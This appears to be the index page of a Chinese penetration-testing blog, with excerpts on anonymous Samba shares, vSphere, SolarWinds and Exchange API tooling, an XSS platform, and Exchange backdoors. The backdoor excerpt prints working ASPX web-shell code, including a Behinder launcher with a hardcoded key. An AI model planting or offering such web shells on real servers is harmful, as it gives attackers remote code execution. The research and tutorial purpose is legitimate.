Good in study, attitude and health

  • 渗透技巧——通过命令行开启Windows系统的匿名访问共享

    0x00 前言 在渗透测试中,尤其是内网渗透,通常需要在内网开启一个支持匿名访问的文件共享,配合漏洞利用。 所以我们需要一种通用的方法,不仅需要使用便捷,还需要能够在命令行下运行。 0x01 简介 本文将要介绍以下内容: 利用场景 通过界面开启可匿名访问的文件共享服务器 通过命令行开启可匿名访问的文件共享服务器 开源代码 0x02 利用场景 开启支持匿名访问的文件共享后,其他用户不需要输入用户名和口令,可以直接访问文件服务器的共享文件 通常有以下两种用法: 作为数据传输的通道 配合漏洞利用,作为Payload的下载地址 文件共享服务器需要能够在不同操作系统上搭建 对于Linux系统,可借助Samba服务搭建可匿名访问的文件共享服务器 这里给出Kali系统下的使用方法: 修改文件/etc/samba/smb.conf,内容如下: [global] map to guest = test1 server role = standalone server usershare allow guests = yes idmap config * : backend = tdb smb ports = 445 [smb] comment...

  • SolarWinds Orion开发指南

    0x00 前言 SolarWinds Orion平台是一个统一的网络和系统管理产品套件,可用于监控IT基础架构。我们可以通过SolarWinds Information Service (SWIS)访问Orion平台中的数据。 在程序实现上,我们可以借助SolarWinds Orion API进行开发,但是在最近的漏洞利用上,我们无法直接使用SolarWinds Orion API。 本文将要介绍SolarWinds Orion API的用法,分析无法直接使用的原因,提供一种解决方法,开源两个测试代码 0x01 简介 本文将要介绍以下内容: SolarWinds Orion API的使用 模拟网页操作的实现 开发细节 开源代码 0x02 SolarWinds Orion API的使用 参考资料: https://github.com/solarwinds/OrionSDK/wiki Python语言可使用orionsdk库进行开发,地址如下: https://github.com/solarwinds/orionsdk-python 在引入orionsdk库后,可以很容易的实现以下功能: query invoke create read update bulkupdate delete bulkdelete 为了研究SolarWinds Orion API的实现细节,决定不借助orionsdk库实现相同的功能 语法格式的参考资料: https://github.com/solarwinds/OrionSDK/wiki/REST 对于SolarWinds Orion API,需要注意以下细节: 1.接口地址...

  • 渗透工具开发——XSS平台的命令行实现

    0x00 前言 通过XSS平台,能够便于对XSS漏洞进行测试,获得重要信息。目前,可供使用的在线XSS平台有很多,也可以尝试自己搭建XSS平台。 但是,如果测试目标无法出网,我们就需要在内网搭建一个轻量化的XSS平台,既要安装方便,又要支持跨平台。 我暂时没有找到合适的开源工具,于是打算使用Python编写一个命令行工具,提供XSS平台的功能 0x01 简介 本文将要介绍以下内容: 设计思路 实现细节 开源代码 0x02 设计思路 参照XSS平台,命令行工具需要提供以下功能: 1.创建HTTPS服务器,提供WEB服务 2.区分不同的数据,提取出关键内容并保存 3.功能模块化,便于二次开发 0x03 实现细节 1.创建HTTPS服务器,提供WEB服务 首先需要创建证书,这里可以使用openssl,命令如下: openssl req -new -x509 -keyout https_svr_key.pem -out https_svr_key.pem -days 3650 -nodes 生成证书文件https_svr_key.pem 创建HTTPS服务器的Python3测试代码如下: from http.server import SimpleHTTPRequestHandler from http import server import ssl class RequestHandler(SimpleHTTPRequestHandler): def do_GET(self): f =...

  • vSphere开发指南3——VMware PowerCLI

    0x00 前言 在之前的文章《vSphere开发指南1——vSphere Automation API》和《vSphere开发指南2——vSphere Web Services API》分别介绍了通过vSphere Automation API和vSphere Web Services API实现vCenter Server同虚拟机交互的方法,本文将要介绍通过PowerCLI实现vCenter Server同虚拟机交互的方法 0x01 简介 本文将要介绍以下内容: PowerCLI的安装配置 PowerCLI命令 C Sharp调用PowerCLI的方法 0x02 PowerCLI的安装配置 PowerCLI是用于管理VMware基础架构的PowerShell模块的集合,之前被称作VI Toolkit (for Windows) 官方文档: https://developer.vmware.com/powercli 1.PowerCLI的安装 (1)在线安装 PowerShell版本最低需要满足PowerShell 5.0 安装命令: Install-Module -Name VMware.PowerCLI (2)离线安装 下载PowerCLI的Zip文件,地址如下: https://code.vmware.com/doc/preview?id=13693 获得PowerShell Modules的路径,Powershell命令如下: $env:PSModulePath 默认可用的一个位置:C:\Program Files\WindowsPowerShell\Modules 将PowerCLI的Zip文件解压至该目录 解锁文件: cd C:\Program...

  • vSphere开发指南2——vSphere Web Services API

    0x00 前言 在上篇文章《vSphere开发指南1——vSphere Automation API》介绍了通过vSphere Automation API实现vCenter Server同虚拟机交互的方法,但是vSphere Automation API有些操作不支持低版本的vCenter(<vSphere7.0U2),导致通用性不够,本文将要介绍更为通用的实现方法——vSphere Web Services API 0x01 简介 本文将要介绍以下内容: vSphere Web Services API开发细节 已开源工具SharpSphere的分析 开源代码vSphereWebServicesAPI_Manage.py 0x02 vSphere Web Services API开发细节 参考文档: https://code.vmware.com/apis/968 https://code.vmware.com/docs/11721/vmware-vsphere-web-services-sdk-programming-guide Python实现代码的参考资料: https://github.com/vmware/pyvmomi-community-samples 为了提高效率,这里我们基于Python SDK pyvmomi进行实现 具体细节如下: (1)登录操作 调用SmartConnect,传入用户名和明文口令 具体细节可在安装pyvmomi后,从文件/lib/site-packages/pyVim/connect.py中查看 (2)查看虚拟机配置 通过创建ContainerView托管对象进行查询 相比于vSphere Automation API,获得的内容更加全面 例如,vsphere-automation-sdk-python不支持获得每个虚拟机对应的UUID,但可以通过pyvmomi获得 ####(3)向虚拟机发送文件 使用方法InitiateFileTransferToGuest,需要传入以下六个参数: vm,指定要操作的虚拟机 auth,登录虚拟机的凭据 guestFilePath,向虚拟机发送的文件保存路径...

  • vSphere开发指南1——vSphere Automation API

    0x00 前言 VMware vCenter Server是VMware虚拟化管理平台,广泛的应用于企业私有云内网中。站在渗透测试工具开发的角度,我们需要通过命令行实现vCenter Server同虚拟机的交互。 本系列文章将要比较多种不同的API,介绍实现细节,开源代码,实现以下功能: 读取虚拟机的配置 查看虚拟机文件 删除虚拟机文件 向虚拟机上传文件 从虚拟机下载文件 在虚拟机中执行命令 0x01 简介 本文将要介绍以下内容: 基础知识 vSphere Automation API开发细节 开源代码vSphereAutomationAPI_Manage.py 0x02 基础知识 1.VMware vSphere VMware vSphere是整个VMware套件的商业名称,而不是特定的产品或软件 VMware vSphere的两个核心组件是ESXi服务器和vCenter Server 2.ESXi ESXi是hypervsior,可以在其中创建和运行虚拟机和虚拟设备。 3.vCenter Server vCenter Server是用于管理网络中连接的多个ESXi主机和池主机资源的服务 vCenter Server可安装至Linux系统中,通过安装vCenter Server Appliance(VCSA)实现 vCenter Server也可安装至Windows系统中,通过安装Vmware Integrated Management(VIM)实现 0x03 vSphere Automation API开发细节 官方文档: https://developer.vmware.com/docs/vsphere-automation/latest/...

  • Exchange admin center(EAC)开发指南2——证书的导出与利用

    0x00 前言 在上篇文章《Exchange admin center(EAC)开发指南》开源了代码eacManage,实现了添加邮箱用户、设置邮箱用户的权限和导出所有邮箱用户列表的功能,本文将要添加证书导出的功能,记录开发细节,分析利用思路。 0x01 简介 本文将要介绍以下内容: Exchange证书介绍 Exchange证书的导出方法 Exchange证书的利用 0x02 Exchange证书介绍 参考资料: https://docs.microsoft.com/en-us/exchange/architecture/client-access/certificates?view=exchserver-2019#certificates-in-exchange Exchange服务器默认创建以下三个证书: Microsoft Exchange,用于加密Exchange服务器、同一计算机上的Exchange服务和从客户端访问服务代理到邮箱服务器上的后端服务的客户端连接之间的内部通信 Microsoft Exchange Server Auth Certificate,用于OAuth服务器间身份验证和集成 WMSVC,此Windows自签名证书由IIS中的Web管理服务使用,用于启用远程管理Web服务器及其关联的网站和应用程序 简单理解: Exchange的网络通信数据使用Microsoft Exchange证书进行加密 身份验证功能需要使用Microsoft Exchange Server Auth Certificate证书,例如生成访问ECP服务时的参数msExchEcpCanary 补充: 修改Exchange网络通信数据使用的证书位置: IIS Manager -> Sites -> Exchange BackEnd -> Bindings… -> 444 -> Edit… -> SSL certificate...

  • Exchange admin center(EAC)开发指南

    0x00 前言 Exchange admin center(EAC)是Exchange Server中基于Web的管理控制台,在渗透测试和漏洞利用中,通常需要通过代码实现对EAC的操作,本文将要开源一份 操作EAC的实现代码eacManage,记录开发细节,便于后续的二次开发。 0x01 简介 本文将要介绍以下内容: 程序实现原理 开源代码eacManage eacManage功能介绍 0x02 EAC的基本操作 介绍EAC的资料: https://docs.microsoft.com/en-us/Exchange/architecture/client-access/exchange-admin-center?view=exchserver-2019 1.添加邮箱用户和设置邮箱用户的权限 添加邮箱用户需要在recipients->mailboxes页面下进行操作,如下图 设置邮箱用户的权限需要在permissions->admin roles页面下进行操作,admin roles页面下默认建立了多个管理员角色组(Role Group),如下图 每个管理员角色组(Role Group)可以通过设置角色(Roles)属性来设定具体的权限,如下图 将邮箱用户添加至指定的管理员角色组就可以获得对应的权限,修改权限可以通过新建管理员角色组(Role Group)或者设置已有管理员角色组(Role Group)的角色(Roles)属性实现 2.导出所有邮箱用户列表 需要在recipients->mailboxes页面下进行操作,如下图 0x03 程序实现原理 目前,Exchange Server并未开放程序实现的接口,但我们可以通过构造特定格式的POST数据包实现 抓包可以选择以下两种方式: Chrome浏览器自带的抓包工具,可直接抓取明文数据,在Chrome界面按F12选择Network即可,具体细节可参考之前的文章《渗透基础——通过Outlook Web Access(OWA)读取Exchange邮件的命令行实现》 Wireshark,抓取明文数据需要配置证书,方法可参考之前的文章《渗透技巧——Pass the Hash with Exchange Web Service》 具体的POST数据包格式如下: 1.查看所有管理员角色组 请求url:/ecp/UsersGroups/AdminRoleGroups.svc/GetList 参数: msExchEcpCanary...

  • 渗透基础——Exchange一句话后门的扩展

    0x00 前言 在上一篇文章《渗透基础——Exchange一句话后门的实现》介绍了两种Exchange一句话后门(内存加载.net程序集和文件写入),本文将要对Exchange一句话后门的功能进行扩展,以导出lsass进程的口令hash为例,介绍内存加载PE文件的实现方法,开源测试代码,分析利用思路,给出防御建议。 0x01 简介 本文将要介绍以下内容: Exchange一句话后门的编写 通过内存加载.net程序集实现导出lsass.exe进程的dmp文件 通过内存加载PE文件实现内存加载Mimikatz并解析指定位置的dmp文件 开源代码 防御建议 0x02 Exchange一句话后门的编写 (1)基本的实现代码 示例代码如下: <%@ Page Language="C#" %><%System.Reflection.Assembly.Load(Convert.FromBase64String(Request.Form["demodata"])).CreateInstance("Payload").Equals("");%> 代码会判断是否带有POST请求的参数demodata,如果存在会将POST请求中参数demodata的内容作base64解密,在内存加载并调用名为Payload的实例 (2)冰蝎的实现代码 默认启动代码如下: <%@ Page Language="C#" %><%@Import Namespace="System.Reflection"%><%Session.Add("k","e45e329feb5d925b"); byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%> 提取其中使用的解密代码如下: public static string Decrypt(string str, string key) { Byte[] toEncryptArray...

  • Exchange Web Service(EWS)开发指南3——SOAP XML Parser

    0x00 前言 在之前的文章《Exchange Web Service(EWS)开发指南2——SOAP XML message》介绍了SOAP XML message的使用,通过Python实现了利用hash对Exchange资源的访问。 当我们通过SOAP XML message读取邮件时,尝尝会遇到以下麻烦:由于每一封邮件对应一份原始的XML文件,原始的XML文件包含完整的邮件信息,人工分析邮件将耗费大量精力。 于是,本文将要介绍一种SOAP XML解析器的实现方法,编写工具实现自动提取有价值的邮件信息,提高阅读效率。 0x01 简介 本文将要介绍以下内容: 适用环境 设计思路 开源Python实现代码 代码开发细节 0x02 设计思路 通过SOAP XML message读取收件箱中的所有邮件,需要以下步骤: 使用ewsManage.py的listmailofinbox命令获得每一封邮件的ItemId和ChangeKey 循环使用ewsManage.py的getmail命令,传入每封邮件对应的ItemId和ChangeKey 分别将返回结果保存为XML格式的文件,每一个XML文件对应一封邮件 为了保证SOAP XML解析器的通用性,能够配合不同的工具,所以将SOAP XML解析器设计成了文件管理器的结构,选中XML文件将会自动解析,提取有价值的信息并显示,在设计上遵循以下原则: 开发语言选用Python,为了提高便捷性,全部使用Python的标准库 文件管理器涉及到Python的界面开发,使用标准GUI库Tkinter SOAP(Simple Object Access Protocol)协议在本质上仍为XML协议,在解析上使用标准库xml.dom.minidom 注: 如果使用字符串匹配的方式对XML文件解析,还需要考虑转义字符 0x03 程序实现 1.文件管理器的实现 Tkinter的使用: https://docs.python.org/3/library/tk.html 这里可以基于开源的file-manager-mask进行二次开发,修改如下部分: 去掉图片显示功能 去掉编辑文本的功能 添加XML文件解析的功能 2.XML文件解析...